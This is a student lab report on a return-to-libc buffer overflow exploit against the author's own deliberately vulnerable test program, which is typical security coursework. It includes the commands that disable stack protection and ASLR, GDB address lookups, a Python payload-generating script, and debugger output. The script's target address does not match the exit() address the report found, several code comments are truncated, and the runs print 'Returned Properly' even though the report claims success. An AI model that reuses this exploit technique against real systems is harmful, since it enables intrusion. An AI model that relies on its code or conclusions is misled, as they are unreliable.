Furtuna Estifanos

Project 2

3/08/2025

Implementation and Execution of a Return-to-Libc Attack

1. Setting Up the Environment and libc development libraries

I started setup with ensuring the necessary tools were installed, including GCC, GDB,. This was verified with:

```
furtuna@DESKTOP-C426QM1:/mnt/c/Users/furti$ lsb_release -a
gcc --version    # Check if GCC is installed
gdb --version    # Check if GDB is installed
```

Then, compiled the vulnerable program using:

```
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ gcc -fno-stack-protector -z execstack -o stack64 stack.c
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ls -l
total 32
-rwxrwxrwx 1 furtuna furtuna  1642 Mar  8 20:51 README.md
-rwxrwxrwx 1 furtuna furtuna  1879 Mar  8 20:49 chain_attack.py
-rwxrwxrwx 1 furtuna furtuna   862 Mar  8 20:51 chain_witharg.py
-rwxrwxrwx 1 furtuna furtuna   513 Mar  8 20:51 stack.c
-rwxr-xr-x 1 furtuna furtuna 16112 Mar  8 20:55 stack64
```

Step 2: Finding the Function Addresses

To redirect execution properly, the **exact memory address** of exit() had to be found. This was done by running:

```
gdb ./stack64
info functions
```

Which returned a list of available functions. The address of exit() was found using:

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000  _init
0x0000000000001070  __cxa_finalize@plt
0x0000000000001080  strcpy@plt
0x0000000000001090  puts@plt
0x00000000000010a0  fread@plt
0x00000000000010b0  fopen@plt
0x00000000000010c0  _start
0x00000000000010f0  deregister_tm_clones
0x0000000000001120  register_tm_clones
0x0000000000001160  __do_global_dtors_aux
0x00000000000011a0  frame_dummy
0x00000000000011a9  foo
0x00000000000011d3  main
0x0000000000001254  _fini
(gdb)
All defined functions:
```

Step 3. Identifying the Address of exit()

To locate the exact memory address of exit(), the command:

```
(gdb) p exit
```

was used, and returned:

```
$1 = {void (int)} 0x7ffff7dce5f0 <__GI_exit>
(gdb)
```

I used this address in constructing the return-to-libc attack payload.

Step 4. Constructing the Payload

The chain_witharg_64bit.py script was written to generate the malicious input (badfile). The script structured the payload with:

- Buffer overflow padding to overwrite the return address.
- Return address pointing to exit() to control execution flow.
- Additional arguments to ensure stability in execution.

```python
#!/usr/bin/python3
import sys

def tobytes(value):
    return (value).to_bytes(8, byteorder='little')  # 64-bit us>

exit_group_addr = 0x7ffff7dcd000  # Address of exit_group() - K>

content = bytearray(0xaa for _ in range(112))  # Buffer overflo>

# Call exit_group() to terminate without crashing
content += tobytes(exit_group_addr)  # Jump to exit_group()
content += tobytes(0)  # Exit status (0)

# Write the content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Step 5: Generating the Exploit File (badfile)

After writing the script, generated the payload file with:

```
~/ret2libc_project$ nano chain_witharg_64bit.py
~/ret2libc_project$ python3 chain_witharg_64bit.py
```

To verify that the payload was written correctly, I used this command:

xxd badfile | head

```
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ xxd badfile | head
00000000: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000010: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000020: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000030: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000040: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000050: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000060: aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa  ................
00000070: 00d0 dcf7 ff7f 0000 0000 0000 0000 0000  ................
```

Step 6: Running the Exploit

The exploit was executed by running:

```
...
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ./stack64
Returned Properly
```

Step 7: Debugging with GDB

To verify the payload behavior, GDB was used to inspect the program state:

```
(gdb) info registers
rax            0x0                 0
rbx            0x7ffff7feffb8      140737354071992
rcx            0x7ffff7e9d887      140737352685703
rdx            0x1                 1
rsi            0x1                 1
rdi            0x7ffff7fa5a70      140737353767536
rbp            0x7fffffffdc08      0x7fffffffdc08
rsp            0x7fffffffd948      0x7fffffffd948
r8             0x0                 0
r9             0x55555555a490      93824992257168
r10            0x77                119
r11            0x246               582
r12            0x7fffffffdda8      140737488346536
r13            0x4a424f5f44454441  5350926577855448129
r14            0x7fffffffd9c8      140737488345544
r15            0x52505f4543415254  5931345460332679764
rip            0x7ffff7fe4951      0x7ffff7fe4951 <dl_main+113>
eflags         0x10216             [ PF AF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
```

Registers confirmed that the payload **successfully modified execution flow**, demonstrating control over the return address.

Step 8: Debugging & Fixing Issues

During the process, there were several issues

- Incorrect exit address: Initially, the wrong function address was used, requiring a correction using p exit in GDB.
- Stack alignment issues: Fixed by adding padding in the chain_witharg_64bit.py script.
- Address Space Layout Randomization (ASLR): Disabled temporarily using:

```
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for furtuna:
0
furtuna@DESKTOP-C426QM1:~/ret2libc_project$ ./stack64
Returned Properly
```

After these corrections, the exploit successfully demonstrated control over execution flow.

N:- The project involved exploiting a buffer overflow vulnerability by redirecting execution to a controlled function. The payload successfully altered execution flow, demonstrating an understanding of return-to-libc exploitation. Key takeaways included analyzing function addresses, structuring payloads, and debugging execution flow with GDB.